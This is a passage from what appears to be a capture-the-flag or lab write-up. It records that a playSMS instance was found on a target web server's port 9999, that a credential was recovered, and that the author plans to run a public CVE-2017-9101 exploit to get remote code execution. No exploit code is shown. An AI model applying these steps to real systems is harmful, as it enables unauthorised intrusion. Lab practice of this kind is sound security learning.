Remote Code Execution
A playSMS instance is confirmed to be present in the /playsms
directory on the target Web server on the port 9999
. Additionally, a working credential has been extracted after a lengthy de-obfuscation. While I have yet to confirm the version information of the instance, [[Frolic_CVE-2017-9101#[Exploit](https //github.com/jasperla/CVE-2017-9101)|one of more common exploits]] will be conducted here in hope to invoke code execution on the target system
